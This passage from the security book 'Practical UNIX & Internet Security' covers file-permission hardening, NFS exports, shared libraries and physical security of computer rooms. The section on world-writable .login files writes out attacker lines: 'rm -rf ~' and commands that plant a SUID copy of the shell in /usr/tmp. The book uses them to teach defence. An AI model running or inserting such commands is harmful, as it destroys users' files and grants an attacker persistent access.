Try running at on your system. If the resulting queue files (usually in /usr/spool/atrun, /usr/spool/at, or /var/spool/atrun) can be modified by another user, you should fix the situation or consider disabling the atrun daemon (usually dispatched by cron every 15 minutes).

11.5.3.5 System initialization files

The system initialization files are another ideal place for an attacker to place commands that will allow access to the system. By putting selected commands in the /etc/rc*, /etc/init.d/*, /etc/rc?.d, and other standard files, an attacker could reconstruct a back door into the system whenever the system is rebooted or the run-level is changed. All the files in /etc should be kept unwritable by other users!

Be especially careful regarding the log files created by programs automatically run during system initialization. These files can be used to overwrite system files through the use of symlinks.

11.5.3.6 Other files

Other files may be run on a regular basis, and these should be protected in a similar manner. The programs and data files should be made nonwritable (and perhaps nonreadable) by unprivileged users. All the directories containing these files and commands up to and including the root directory should be made nonwritable.

As an added precaution, none of these files or directories (or the ones mentioned earlier) should be exported via NFS (described in Chapter 20, NFS). If you must export the files via NFS, export them read-only, and/or set their ownership to root.

Note that this presents a possible contradiction: setting files to root that don't need to be set to root to run. For instance, if you export the UUCP library via NFS, you would need to set the files and directory to be owned by root to prevent their modification by an attacker who has subverted one of your NFS hosts. At the same time, that means that the shell files may be forced to run as root instead of as uucp - otherwise, they won't be able to modify some of the files they need to alter!

In circumstances such as these, you should export the directories read-only and leave the files owned by uucp. If there is any reason at all to have writable files or subdirectories in what you export,[9] use symbolic links to keep a separate copy on each system. For instance, you could replace a file in the exported directory via a link to /local/uucp or /var/uucp and create a local version on each machine.

[9] No obvious example comes to mind. We recommend against thinking of any!

Other files and directories to protect include:

  • The NIS/NIS+ database and commands (often in /usr/etc/yp or /var/nis)

  • The files in /usr/adm, /var/adm, and /or /var/log used for accounting and logging

  • The files in your mailer queue and delivery area (usually /usr/spool/mqueue and /usr/spool/mail or linked to those names)

  • All the files in the libraries (/lib, /usr/lib, and /usr/local/lib)

No files that are used as part of your system's start-up procedure or for other automatic operations should be exported via NFS. If these files must be exported using NFS, they should be set on the server to be owned by root and placed in a directory that is owned by root. Do not export files or directories for UUCP or other subsystems that require ownership by users other than root.

Previous: 11.4 Entry | Practical UNIX & Internet Security | Next: 11.6 Protecting Your System
11.4 Entry | Book Index | 11.6 Protecting Your System


[Chapter 11] 11.6 Protecting Your System

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 11.5 Protecting Yourself Chapter 11
Protecting Against Programmed Threats 		Next: 12. Physical Security

11.6 Protecting Your System

No matter what the threat is called, how it enters your system, or what the motives of the person(s) who wrote it may be, the potential for damage is your main concern. Any of these problems can result in downtime and lost or damaged resources. Understanding the nature of a threat is insufficient to prevent it from occurring.

At the same time, remember that you do not need many special precautions or special software to protect against programmed threats. The same simple, effective measures you would take to protect your system against unauthorized entry or malicious damage from insiders will also protect your system against these other threats.

11.6.1 File Protections

Files, directories, and devices that are writable (world-writable) by any user on the system can be dangerous security holes. An attacker who gains access to your system can gain even more access by modifying these files, directories, and devices. Maintaining a vigilant watch over your file protections protects against intrusion and also protects your system's legitimate users from each other's mistakes and antics. (Chapter 5 introduces file permissions and describes how you can change them.)

11.6.1.1 World-writable user files and directories

Many inexperienced users (and even careless experienced users) often make themselves vulnerable to attack by improperly setting the permissions on files in their home directories.

The .login file is a particularly vulnerable file. For example, if a user has a .login file that is world-writable, an attacker can modify the file to do his bidding. Suppose a malicious attacker inserts this line at the end of a user's .login file:

/bin/rm -rf ~

Whenever a user logs in, the C shell executes all of the commands in the .login file. A user whose .login file contains this nasty line will find all of his files deleted when he logs in!

Suppose the attacker appends these lines to the user's .login file:

/bin/cp /bin/sh /usr/tmp/.$USER
/bin/chmod 4755 /usr/tmp/.$USER

When the user logs in, the system creates a SUID shell in the /usr/tmp directory that will allow the attacker to assume the identity of the user at some point in the future.

In addition to .login, many other files pose security risks when they are world writable. For example, if an attacker modifies a world-writable .rhosts file, she can take over the user's account via the network.

In general, the home directories and the files in the home directories should have the permissions set so that they are only writable by the owner. Many files in the home directory, such as .rhosts, should only be readable by the owner as well. This practice will hinder an intruder in searching for other avenues of attack.

11.6.1.2 Writable system files and directories

There is also a risk when system files and directories are world writable. An attacker can replace system programs (such as /bin/ls) with new programs that do the attacker's bidding. This practice is discussed in Chapter 8, Defending Your Accounts.

NOTE: If you have a server that exports filesystems containing system programs (such as the /bin and /usr/bin directories), you may wish to export those filesystems read-only. Exporting a filesystem read-only renders the client unable to modify the files in that directory. To export a filesystem read-only, you must specify the read-only option in the /etc/exports file on the server. For example, to export the /bin and /usr/bin filesystems read-only, specify the following in your /etc/dfs/dfstab file:

share -F nfs -o ro=client /bin
share -F nfs -o ro=client /usr/bin

On a Berkeley-based system, place these lines in your /etc/exports file:
/bin       -ro, access=client
/usr/bin   -ro, access=client

Group-writable files

Sometimes, making a file group writable is almost as risky as making it world writable. If everybody on your system is a member of the group user, then making a file group-writable by the group user is the same as making the file world-writable.

You can use the find command to search for files that are group writable by a particular group, and to print a list of these files. For example, to search for all files that are writable by the group user, you might specify a command in the following form:

# find / -perm -020 -group user \!
\( -type l -o -type p -o -type s \) -ls

If you have NFS, be sure to use the longer version of the command:

# find / \( -local -o -prune \) -perm -020 -group user \!
\( -type l -o -type p -o -type s \) -ls

Often, files are made group writable so several people can work on the same project, and this may be appropriate in your system. However, some files, such as .cshrc and .profile, should never be made group writable. In many cases, this rule can be generalized to the following:

Any file beginning with a period should not be world writable or group writable.

A more security-conscious site can further generalize this rule:

Files that begin with a period should not be readable or writable by anyone other than the file's owner (that is, they should be mode 600).

Use the following form of the find command to search for all files beginning with a period in the /u filesystem that are either group writable or world writable:

# find /u -perm -2 -o -perm -20 -name .\* -ls

NOTE: As noted earlier, if you're using NFS, be sure to add the -local or -xdev option to each of the find commands above and run them on each of your servers, or use the fstype/prune options.

11.6.1.3 World-readable backup devices

Your tape drive should not be world readable. Otherwise, it allows any user to read the contents of any tape that happens to be in the tape drive. This scenario can be a significant problem for sites which do backups overnight, and then leave the tape in the drive until morning. During the hours that the tape is awaiting removal, any user can read the contents of any file on the tape.

11.6.2 Shared Libraries

Programs that depend on shared libraries are vulnerable to a variety of attacks that involve switching the shared library that the program is running. If your system has dynamic libraries, they need to be protected to the same level as the most sensitive program on your system, because modifying those shared libraries can alter the operation of every program.

On some systems, additional shared libraries may be specified through the use of environment variables. While this is a useful feature on some occasions, the system's shared libraries should not be superseded for the following kinds of programs:

  • Programs executed by SUID programs

  • User shells

  • Network servers

  • Security services

  • Auditing and logging processes

On some versions of UNIX, you can disable shared libraries by statically linking the executable program. On others, you can limit whether alternate shared libraries are referenced by setting additional mode bits inside the executable image. We advise you to take these precautions when available.

Previous: 11.5 Protecting Yourself | Practical UNIX & Internet Security | Next: 12. Physical Security
11.5 Protecting Yourself | Book Index | 12. Physical Security


[Chapter 12] Physical Security

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 11.6 Protecting Your System Chapter 12 Next: 12.2 Protecting Computer Hardware

12. Physical Security

Contents:
One Forgotten Threat
Protecting Computer Hardware
Protecting Data
Story: A Failed Site Inspection

"Physical security" is almost everything that happens before you (or an attacker) start typing commands on the keyboard. It's the alarm system that calls the police department when a late-night thief tries to break into your building. It's the key lock on the computer's power supply that makes it harder for unauthorized people to turn the machine off. And it's the surge protector that keeps a computer from being damaged by power surges.

This chapter discusses basic physical security approaches. It's designed for people who think that this form of security is of no concern. Unfortunately, physical security is an oft-overlooked aspect of security that is very important. You may have the best encryption and security tools in place, and your UNIX systems may be safely hidden behind a firewall. However, if you cheerfully hire an industrial spy as your system administrator, and she walks off with your disk drives, those other fancy defenses aren't much help.

12.1 One Forgotten Threat

Surprisingly, many organizations do not consider physical security to be of the utmost concern. One New York investment house was spending tens of thousands of dollars on computer security measures to prevent break-ins during the day, only to discover that its cleaning staff was propping open the doors to the computer room at night while the floor was being mopped. In the late 1980s, a magazine in San Francisco had more than $100,000 worth of computers stolen over a holiday: an employee had used his electronic key card to unlock the building and disarm the alarm system; after getting inside, the person went to the supply closet where the alarm system was located and removed paper from the alarm system's log printer.

Physical security is one of the most frequently forgotten forms of security because the issues that physical security encompasses - the threats, practices, and protections available - are different for practically every different site. Physical security resists simple treatment in books on computer security, as different organizations running the identical system software might have dramatically different physical-security needs. (Many popular books on UNIX system security do not even mention physical security.) Because physical security must inherently be installed on-site, it cannot be pre-installed by the operating system vendor, sold by telemarketers, or FTP'ed over the Internet as part of a free set of security tools.

Anything that we can write about physical security must therefore be broadly stated and general. Because every site is different, this chapter can't give you a set of specific recommendations. It can only give you a starting point, a list of issues to consider, and a procedure for formulating your plan.

12.1.1 The Physical Security Plan

The first step to physically securing your installation is to formulate a written plan addressing your current physical security needs and your intended future direction - something we discussed in Chapter 2, Policies and Guidelines. Ideally, such a plan should be part of the site security policy, and should include:

  • Description of the physical assets that you are protecting

  • Description of the physical area where the assets are located

  • Description of your security perimeter (the boundary between the rest of the world and your secured area), and the holes in the perimeter

  • Threats you are protecting against

  • Your security defenses, and ways of improving them

  • Estimated cost of any improvements, the cost of the information that you are protecting, and the likelihood of an attack, accident, or disaster

If you are managing a particularly critical installation, you should take great care in formulating this plan. Have it reviewed by an outside firm that specializes in disaster recovery planning and risk assessment. You should also consider your security plan a sensitive document: by its very nature, it contains detailed information on your defenses' weakest points.

Smaller businesses, many educational institutions, and home systems will usually not need anything so formal; some preparation and common sense is all that is usually necessary, although even a day of a consultant's time may be money well spent.

Some organizations may consider that many of the ideas described in the following sections are overkill. Before you come to this conclusion, ask yourself five questions:

  1. Does anybody other than you have physical access to your computer?

  2. What would happen if that person had a breakdown or an angry outburst, and tried to smash your system with a hammer?

  3. What would happen if someone in the employ of your biggest competitor were to come into the building unnoticed?

  4. In the event of some large disaster in the building, would you lose the use of your computer?

  5. If some disaster were to befall your system, how would you face all your angry users?

Previous: 11.6 Protecting Your System | Practical UNIX & Internet Security | Next: 12.2 Protecting Computer Hardware
11.6 Protecting Your System | Book Index | 12.2 Protecting Computer Hardware


[Chapter 12] 12.2 Protecting Computer Hardware

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 12.1 One Forgotten Threat Chapter 12
Physical Security 		Next: 12.3 Protecting Data

12.2 Protecting Computer Hardware

Physically protecting a computer presents many of the same problems that arise when protecting typewriters, jewelry, and file cabinets. Like a typewriter, an office computer is something that many people inside the office need to access on an ongoing basis. Like jewelry, computers are very valuable, and very easy for a thief to sell. But the real danger in having a computer stolen isn't the loss of the system's hardware but the value of the loss of the data that was stored on the computer's disks. As with legal files and financial records, if you don't have a backup - or if the backup is stolen with the computer - the data you have lost may well be irreplaceable. Even if you do have a backup, you will still need to spend valuable time setting up a replacement system. Finally, there is always the chance that stolen information itself, or even the mere fact that information was stolen, will be used against you.

Your computers are among the most expensive possessions in your home or office; they are also the pieces of equipment that you can least afford to lose.[1]

[1] We know of some computer professionals who say, "I don't care if the thief steals my computer; I just wish that he would first take out the hard drive!" Unfortunately, you can rarely reason in this manner with would-be thieves.

To make matters worse, computers and computer media are by far the most temperamental objects in today's home or office. Few people worry that their television sets will be damaged if they're turned on during a lightning storm, but a computer's power supply can be blown out simply by leaving the machine plugged into the wall if lightning strikes nearby. Even if the power surge doesn't destroy the information on your hard disk, it still may make the information inaccessible until the computer system is repaired.

Power surges don't come only during storms: one of the authors once had a workstation ruined because a vacuum cleaner was plugged into the same outlet as the running workstation: when the vacuum was switched on, the power surge fatally shorted out the workstation's power supply. Because of the age of the computer involved, it proved to be cheaper to throw out the machine and lose the data, rather than attempt to salvage the hardware and information stored on the machine's disk. That was an expensive form of spring cleaning!

There are several measures that you can take to protect your computer system against physical threats. Many of them will simultaneously protect the system from dangers posed by nature, outsiders, and inside saboteurs.

12.2.1 The Environment

Computers are extremely complicated devices that often require exactly the right balance of physical and environmental conditions to properly operate. Altering this balance can cause your computer to fail in unexpected and often undesirable ways. Even worse, your computer might continue to operate, but erratically, producing incorrect results and corrupting valuable data.

In this respect, computers are a lot like people: they don't work well if they're too hot, too cold, or submerged in water without special protection.

12.2.1.1 Fire

Computers are notoriously bad at surviving fires. If the flames don't cause your system's case and circuit boards to ignite, the heat might melt your hard drive and all the solder holding the electronic components in place. Your computer might even survive the fire, only to be destroyed by the water used to fight the flames.

You can increase the chances that your computer will survive a fire by making sure that there is good fire-extinguishing equipment nearby.

In the late 1980s, Halon fire extinguishers were exceedingly popular for large corporate computer rooms. Halon is a chemical that works by "asphyxiating" the fire's chemical reaction. Unlike water, Halon does not conduct electricity and leaves no residue, so it will not damage expensive computer systems.

Unfortunately, Halon may also asphyxiate humans in the area. For this reason, all automatic Halon systems have loud alarms that sound before the Halon is discharged. Halon has another problem as well: after it is released into the environment, it slowly diffuses into the stratosphere, where it acts as a potent greenhouse gas and contributes to the destruction of the ozone layer. Halon is therefore being phased out and replaced with systems that are based on carbon dioxide (CO2), which still asphyxiate fires (and possibly humans), but which do not cause as much environmental degradation.

Here are some guidelines for fire control:

  • Make sure that you have a hand-held fire extinguisher by the doorway of your computer room. Train your computer operators in the proper use of the fire extinguisher. Repeat the training at least once a year. One good way to do this is to have your employees practice with extinguishers that need to be recharged (usually once every year or two). However, don't practice indoors!

  • Check the recharge state of each extinguisher every month. Extinguishers with gauges will show if they need recharging. All extinguishers should be recharged and examined by a professional on a periodic basis (sometimes those gauges stick in the "full" position!).

  • If you have a Halon or CO2 system, make sure everyone who enters the computer room knows what to do when the alarm sounds. Post warning signs in appropriate places.

  • If you have an automatic fire-alarm system, make sure you can override it in the event of a false alarm.

  • Ensure that there is telephone access for your operators and users who may discover a fire or a false alarm.

Many modern computers will not be damaged by automatic sprinkler systems, provided that the computer's power is turned off before the water starts to flow (although disks, tapes, and printouts out in the open may suffer). Consequently, you should have your computer's power automatically cut if the water sprinkler triggers.[2] Be sure that the computer has completely dried out before the power is restored. If your water has a very high mineral content, you may find it necessary to have the computer's circuit boards professionally cleaned before attempting to power up. Remember, getting sensitive electronics wet is never a good idea.

[2] If you have an uninterruptible power supply, be sure that it is automatically disconnected, too.

Because many computers can now survive exposure to water, many fire-protection experts now suggest that a water sprinkler system may be as good as (or better) than a CO2 system. In particular, a water system will continue to run long after a CO2 system is exhausted, so it's more likely to work against major fires. They also are less expensive to maintain, and less hazardous to humans.

If you choose to have a water-based sprinkler system installed, be sure it is a "dry-pipe" system. This keeps water out of the pipes until an alarm is actually triggered, rather than having the sprinkler heads pressurized all the time. This may save your system from leaks or misfortune.[3]

[3] We know of one instance where a maintenance man accidentally knocked the sprinkler head off with a stepladder. The water came out in such quantity that the panels for the raised floor were floating before the water was shut off. The mess took more than a week to clean up.

Be sure that your wiring, in addition to your computers, is protected. Be certain that smoke detectors and sprinkler heads are appropriately positioned to cover wires in wiring trays (often above your suspended ceilings), and in wiring closets.

12.2.1.2 Smoke

Smoke is very good at damaging computer equipment. Smoke is a potent abrasive and collects on the heads of magnetic disks, optical disks, and tape drives. A single smoke particle can cause a severe disk crash on some kinds of older disk drives without a sealed drive compartment.

Sometimes smoke is generated by computers themselves. Electrical fires - particularly those caused by the transformers in video monitors - can produce a pungent, acrid smoke that can damage other equipment and may also be a potent carcinogen. Several years ago, a laboratory at Stanford had to be evacuated because of toxic smoke caused by a fire in a single video monitor.

An even greater danger is the smoke that comes from cigarettes and pipes. Such smoke is a health hazard to people and computers alike. Smoke will cause premature failure of keyboards and require that they be cleaned more often. Nonsmokers in a smoky environment will not perform as well as they might otherwise, both in the near term and the long term; and in many locales, smoking in public or semi-public places is illegal.

Here are some guidelines for smoke control:

  • Do not permit smoking in your computer room or around the people who use the computers.

  • Install smoke detectors in every room with computer or terminal equipment.

  • If you have a raised floor, mount smoke detectors underneath the floor as well.

  • If you have suspended ceilings, mount smoke detectors above the ceiling tiles.

Get a Carbon-Monoxide Detector!

Carbon monoxide (CO) won't harm your computer, but it might silently kill any humans in the vicinity. One of the authors of this book was nearly killed in February 1994 when his home chimney became plugged and the furnace exhaust started venting into his house. Low-cost carbon monoxide detectors are readily available. They should be installed wherever coal, oil, or gas-fired appliances are used.

If you think this doesn't apply to your computer environment, think again. Closed office buildings can build up strong concentrations of CO from faulty heater venting, problems with generator exhaust (as from a UPS), or even a truck idling outside with its exhaust near the building air intake.

12.2.1.3 Dust

Dust destroys data. As with smoke, dust can collect on the heads of magnetic disks, tape drives, and optical drives. Dust is abrasive and will slowly destroy both the recording head and the media.

Most dust is electrically conductive. The design of many computers sucks large amounts of air and dust through the computer's insides for cooling. Invariably, a layer of dust will accumulate on a computer's circuit boards, covering every surface, exposed and otherwise. Eventually, the dust will cause circuits to short and fail.

Here are some guidelines for dust control:

  • Keep your computer room as dust free as possible.

  • If your computer has air filters, clean or replace them on a regular basis.

  • Get a special vacuum for your computers and use it on a regular basis. Be sure to vacuum behind your computers. You may also wish to vacuum your keyboards.

  • In environments with dust that you can't control well, consider getting keyboard dust covers to use when the keyboards are idle for long periods of time. However, don't simply throw homemade covers over your computers - doing so can cause the computer to overheat, and some covers can build up significant static charges.

12.2.1.4 Earthquake

While some parts of the world are subject to frequent and severe earthquakes, nearly every part of the world experiences the occasional temblor. In the United States, for example, the San Francisco Bay Area experiences several earthquakes every year; a major earthquake is expected within the next 20 years that may be equal in force to the great San Francisco earthquake of 1906. Scientists also predict an 80% chance that the eastern half of the United States may experience a similar earthquake within the next 30 years: the only truly unknown factor is where it will occur. As a result, several Eastern cities have enacted stringent anti-earthquake building codes. These days, many new buildings in Boston are built with diagonal cross-braces, using construction that one might expect to see in San Francisco.

While some buildings collapse in an earthquake, most remain standing. Careful attention to the placement of shelves and bookcases in your office can increase the chances that your computers will survive all but the worst disasters.

Here are some guidelines for earthquake control:

  • Avoid placing computers on any high surfaces - for example, on top of file cabinets.

  • Do not place heavy objects on bookcases or shelves near computers in such a way that they might fall on the computer during an earthquake.

  • To protect your computers from falling debris, place them underneath strong tables.

  • Do not place computers on desks next to windows - especially on higher floors. In an earthquake, the computer could be thrown through the window, destroying the computer, and creating a hazard for people on the ground below.

  • Consider physically attaching the computer to the surface on which it is resting. You can use bolts, tie-downs, straps, or other implements. (This practice also helps deter theft of the equipment.)

12.2.1.5 Explosion

Although computers are not prone to explosion, the buildings in which they are located can be - especially if a building is equipped with natural gas or is used to store flammable solvents.

If you need to operate a computer in an area where there is a risk of explosion, you might consider purchasing a system with a ruggedized case. Disk drives can be shock-mounted within a computer; if explosion is a constant hazard, consider using a ruggedized laptop with an easily removed, shock-resistant hard drive.

Here are some basic guidelines for explosion control:

  • Consider the real possibility of explosion on your premises. Make sure that solvents, if present, are stored in appropriate containers in clean, uncluttered areas.

  • Keep your backups in blast-proof vaults or off-site.

  • Keep computers away from windows.

12.2.1.6 Temperature extremes

As with people, computers operate best within certain temperature ranges. Most computer systems should be kept between 50 and 90 degrees Fahrenheit (10 to 32 degrees Celsius). If the ambient temperature around your computer gets too high, the computer cannot adequately cool itself, and internal components can be damaged. If the temperature gets too cold, the system can undergo thermal shock when it is turned on, causing circuit boards or integrated circuits to crack.

Here are some basic guidelines for temperature control:

  • Check your computer's documentation to see what temperature ranges it can tolerate.

  • Install a temperature alarm in your computer room that is triggered by a temperature that is too low or too high. Set it to alarm when the temperature gets within 15-20 degrees (F) of the limits your system can take. Some alarms can even be connected to a phone line, and can be programed to dial predefined phone numbers and tell you, with a synthesized voice, "your computer room is too hot."

  • Be careful about placing computers too close to walls, which can interfere with air circulation. Most manufacturers recommend that their systems have 6 to 12 inches of open space on every side. If you cannot afford the necessary space, lower the computer's upper-level temperature by 10 degrees Fahrenheit or more.

12.2.1.7 Bugs (biological)

Sometimes insects and other kinds of bugs find their way into computers. Indeed, the very term bug, used to describe something wrong with a computer program, dates back to the 1950s, when Grace Murray Hopper found a moth trapped between the relay contacts on Harvard University's Mark 1 computer.

Insects have a strange predilection for getting trapped between the high-voltage contacts of switching power supplies. Others seem to have insatiable cravings for the insulation that covers wires carrying line current and the high-pitched whine that switching power supplies emit. Spider webs inside computers collect dust like a magnet.

12.2.1.8 Electrical noise

Motors, fans, heavy equipment, and even other computers can generate electrical noise that can cause intermittent problems with the computer you are using. This noise can be transmitted through space or nearby power lines.

Electrical surges are a special kind of electrical noise that consists of one (or a few) high-voltage spikes. As we've mentioned, an ordinary vacuum cleaner plugged into the same electrical outlet as a workstation can generate a spike capable of destroying the workstation's power supply.

Here are some guidelines for electrical noise control:

  • Make sure that there is no heavy equipment on the electrical circuit that powers your computer system.

  • If possible, have a special electrical circuit with an isolated ground installed for each computer system.

  • Install a line filter on your computer's power supply.

  • If you have problems with static, you may wish to install a static (grounding) mat around the computer's area, or apply antistatic sprays to your carpet.

  • Walkie-talkies, cellular telephones, and other kinds of radio transmitters can cause computers to malfunction when they are transmitting. Especially powerful transmitters can even cause permanent damage to systems. Transmitters have also been known to trigger the explosive charges in some sealed fire- extinguisher systems (e.g., Halon). All radio transmitters should be kept at least five feet from the computer, cables, and peripherals. If many people in your organization use portable transmitters, you should consider posting signs instructing them not to transmit in the computer's vicinity.

12.2.1.9 Lightning

Lightning generates large power surges that can damage even computers whose electrical supplies are otherwise protected. If lightning strikes your building's metal frame (or hits your building's lightning rod), the resulting current on its way to ground can generate an intense magnetic field.

Here are some guidelines for lightning control:

  • If possible, turn off and unplug computer systems during lightning storms.

  • Make sure that your backup tapes, if they are kept on magnetic media, are stored as far as possible from the building's structural steel members.

  • Surge suppressor outlet strips will not protect your system from a direct strike, but may help if the storm is distant. Some surge suppressors include additional protection for sensitive telephone equipment; this extra protection may be of questionable value in most areas, though, since by law, telephone circuits must be equipped with lightning arresters.

  • In remote areas, modems are still damaged by lightning, even though they are on lines equipped with lightning arresters. In these areas, modems may benefit from additional lightning protection.

12.2.1.10 Vibration

Vibration can put an early end to your computer system by literally shaking it apart. Even gentle vibration, over time, can work printed circuit boards out of their edge connectors, and integrated circuits out of their sockets. Vibration can cause hard disk drives to come out of alignment and increase the chance for catastrophic failure - and resulting data loss.

Here are some guidelines for vibration control:

  • Isolate your computer from vibration as much as possible.

  • If you are in a high-vibration environment, you can place your computer on a rubber or foam mat to dampen out vibrations reaching it, but make sure that the mat does not block ventilation openings.

  • Laptop computers are frequently equipped with hard disks that are better at resisting vibration than are desktop machines

  • Don't put your printer on top of a computer. Printers are mechanical devices; they generate vibrations. Desktop space may be a problem, but a bigger problem may be the unexpected failure of your computer's disk drive or system board.

12.2.1.11 Humidity

Humidity is your computer's friend - but as with all friends, you can get too much of a good thing. Humidity prevents the buildup of static charge. If your computer room is too dry, static discharge between operators and your computer (or between the computer's moving parts) may destroy information or damage your computer itself. If the computer room is too humid, you may experience condensation on the computer's circuitry, which can short out and damage the electrical circuits.

Here are some guidelines for humidity control:

  • For optimal performance, keep the relative humidity of your computer room above 20% and well below the dew point (which depends on the ambient room temperature).

  • In environments that require high reliability, you may wish to have a humidity alarm that will ring when the humidity is out of your acceptable range.

  • Some equipment has special humidity restrictions. Check your manuals.

12.2.1.12 Water

Water can destroy your computer. The primary danger is an electrical short, which can happen if water bridges between a circuit-board trace carrying voltage and a trace carrying ground. A short will cause too much current to be pulled through a trace, and will heat up the trace and possibly melt it. Shorts can also destroy electronic components by pulling too much current through them.

Water usually comes from rain or flooding. Sometimes it comes from an errant sprinkler system. Water also may come from strange places, such as a toilet overflowing on a higher floor, vandalism, or the fire department.

Here are some guidelines for water control:

  • Mount a water sensor on the floor near the computer system.

  • If you have a raised floor in your computer room, mount water detectors underneath the floor and above it.

  • Do not keep your computer in the basement of your building if your area is prone to flooding, or if your building has a sprinkler system.

  • Because water rises, you may wish to have two alarms, located at different heights. The first water sensor should ring an alarm; the second should automatically cut off power to your computer equipment. Automatic power cutoffs can save a lot of money if the flood happens off-hours, or if the flood occurs when the person who is supposed to attend to the alarm is otherwise occupied. More importantly, cutoffs can save lives: electricity, water, and people shouldn't mix.

12.2.1.13 Environmental monitoring

To detect spurious problems, you should continuously monitor and record your computer room's temperature and relative humidity. As a general rule of thumb, every 1,000 square feet of office space should have its own recording equipment. Log and check recordings on a regular basis.

12.2.2 Preventing Accidents

In addition to environmental problems, your computer system is vulnerable to a multitude of accidents. While it is impossible to prevent all accidents, careful planning can minimize the impact of accidents that will inevitably occur.

12.2.2.1 Food and drink

People need food and drink to stay alive. Computers, on the other hand, need to stay away from food and drink. One of the fastest ways of putting a keyboard out of commission is to pour a soft drink or cup of coffee between the keys. If this keyboard is your system console, you may be unable to reboot the computer until the console is replaced (we know this from experience).

Food - especially oily food - collects on people's fingers, and from there gets on anything that a person touches. Often this includes dirt-sensitive surfaces such as magnetic tapes and optical disks. Sometimes food can be cleaned away; other times it cannot. Oils from foods also tend to get onto screens, increasing glare and decreasing readability. Some screens (especially some terminals from Digital Equipment Corporation) are equipped with special quarter-wavelength antiglare coatings: when touched with oily hands, the fingerprints will glow with an annoying iridescence. Generally, the simplest rule is the safest: Keep all food and drink away from your computer systems.[4]

[4] Perhaps more than any other rule in this chapter, this rule is honored most often in the breach.

12.2.3 Physical Access

Simple common sense will tell you to keep your computer in a locked room. But how safe is that room? Sometimes a room that appears to be quite safe is actually wide open.

12.2.3.1 Raised floors and dropped ceilings

In many modern office buildings, internal walls do not extend above dropped ceilings or beneath raised floors. This type of construction makes it easy for people in adjoining rooms, and sometimes adjoining offices, to gain access.

Here are some guidelines for dealing with raised floors and dropped ceilings:

  • Make sure that your building's internal walls extend above your dropped ceilings - so that intruders cannot enter locked offices simply by climbing over the walls.

  • Likewise, if you have raised floors, make sure that the building's walls extend down to the real floor.

12.2.3.2 Entrance through air ducts

If the air ducts that serve your computer room are large enough, intruders can use them to gain entrance to an otherwise secured area.

Here are some guidelines for dealing with air ducts:

  • Areas that need large amounts of ventilation should be served by several small ducts, none of which is large enough for a person to traverse.

  • As an alternative, screens can be welded over air vents, or even within air ducts, to prevent unauthorized entry (although screens can be cut).

  • The truly paranoid administrator may wish to place motion detectors inside air ducts.

12.2.3.3 Glass walls

Although glass walls and large windows frequently add architectural panache, they can be severe security risks. Glass walls are easy to break; a brick and a bottle of gasoline thrown through a window can do an incredible amount of damage. Glass walls are also easy to look through: an attacker can gain critical knowledge, such as passwords or information about system operations, simply by carefully watching people on the other side of a glass wall or window.

Here are some guidelines for dealing with glass walls:

  • Avoid glass walls and windows for security-sensitive areas.

  • If you must have some amount of translucence, consider walls made of glass blocks.

12.2.4 Vandalism

Computer systems are good targets for vandalism. Reasons for vandalism include:

  • Intentional disruption of services (e.g., a student who has homework due)

  • Revenge (e.g., a fired employee)

  • Riots

  • Strike-related violence

  • Entertainment for the feebleminded

Computer vandalism is often fast, easy, and very expensive. Sometimes, vandalism is actually sabotage presented as random vandalism.

In principle, any part of a computer system - or the building that houses it - may be a target for vandalism. In practice, some targets are more vulnerable than others. Some are described briefly in the following sections.

12.2.4.1 Ventilation holes

Several years ago, 60 workstations at the Massachusetts Institute of Technology were destroyed in a single evening by a student who poured Coca-Cola into each computer's ventilation holes. Authorities surmised that the vandal was a student who had not completed a problem set due the next day.

Computers that have ventilation holes need them. Don't seal up the holes to prevent this sort of vandalism. However, a rigidly enforced policy against food and drink in the computer room - or a 24-hour guard - can help prevent this kind of incident from happening at your site.

12.2.4.2 Network cables

Local and wide area networks are exceedingly vulnerable to vandalism. In many cases, a vandal can disable an entire subnet of workstations by cutting a single wire with a pair of wire cutters. Compared with Ethernet, fiber optic cables are at the same time more vulnerable (because sometimes they can be more easily damaged), more difficult to repair (because fiber optics are difficult to splice), and more attractive targets (because they often carry more information).

One simple method for protecting a network cable is to run it through physically secure locations. For example, Ethernet cable is often placed in cable trays or suspended from ceilings with plastic loops. But Ethernet can also be run through steel conduit between offices. Besides protecting against vandalism, this practice protects against some forms of network eavesdropping, and may help protect your cables in the event of a small fire.

Some high-security installations use double-walled, shielded conduit with a pressurized gas between the layers. Pressure sensors on the conduit break off all traffic or sound a warning bell if the pressure ever drops, as might occur if someone breached the walls of the pipe. It important that you physically protect your network cables. Placing the wire inside an electrical conduit when it is first installed can literally save thousands of dollars in repairs and hundreds of hours in downtime later.

Many universities have networks that rely on Ethernet or fiber optic cables strung through the basements. A single frustrated student with a pair of wirecutters or a straight pin can halt the work of thousands of students and professors.

We also have heard stories about fiber optic cable suffering small fractures because someone stepped on it. A fracture of this type is difficult to locate because there is no break in the coating. Be very careful where you place your cables. Note that "temporary" cable runs often turn into permanent or semi-permanent installations, so take the extra time and effort to install cable correctly the first time.

12.2.4.3 Network connectors

In addition to cutting a cable, a vandal who has access to a network's endpoint - a network connector - can electronically disable or damage the network. Ethernet is especially vulnerable to grounding and network-termination problems. Simply by removing a terminator at the end of the network cable or by grounding an Ethernet's inside conductor, an attacker can render the entire network inoperable. Usually this event happens by accident; however, it can also happen as the result of an intentionally destructive attack.

All networks based on wire are vulnerable to attacks with high voltage. At one university in the late 1980s, a student destroyed a cluster of workstations by plugging the thin-wire Ethernet cable into a 110VAC wall outlet. (Once again, the student wanted to simulate a lightning strike because he hadn't done his homework.)

12.2.5 Defending Against Acts of War and Terrorism

Unless your computer is used by the military or being operated in a war zone, it is unlikely to be a war target. Nevertheless, if you live in a region that is subject to political strife, you may wish to consider additional structural protection for your computer room.

Alternatively, you may find it cheaper to devise a system of hot backups and mirrored disks and servers. With a reasonably fast network link, you can arrange for files stored on one computer to be simultaneously copied to another system on the other side of town - or the other side of the world. Sites that cannot afford simultaneous backup can have hourly or nightly incremental dumps made across the network link. Although a tank or suicide bomber may destroy your computer center, your data can be safely protected someplace else.

12.2.6 Preventing Theft

Because many computers are relatively small and valuable, they are easily stolen and easily sold. Even computers that are relatively difficult to fence - such as DEC VaxStations - have been stolen by thieves who thought that they were actually stealing PCs. As with any expensive piece of equipment, you should attempt to protect your computer investment with physical measures such as locks and bolts.

RAM Theft

Figure 12.1: SIMMs (standard inline memory modules) are vulnerable to theft

